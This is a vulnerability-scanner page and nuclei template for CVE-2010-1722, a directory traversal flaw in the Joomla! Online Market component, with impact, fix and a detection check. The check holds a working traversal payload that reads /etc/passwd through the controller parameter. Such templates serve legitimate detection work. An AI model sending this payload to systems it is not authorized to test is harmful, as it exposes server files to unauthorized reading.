Joomla! Component Online Market 2.x - Local File Inclusion

mediumseverity

6.8CVSS score

9.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1722 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1722

info:
  name: Joomla! Component Online Market 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.
  reference:
    - https://www.exploit-db.com/exploits/12177
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1722
    - http://www.exploit-db.com/exploits/12177
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57674
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1722
    cwe-id: CWE-22
    epss-score: 0.09471
    epss-percentile: 0.95472
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_market
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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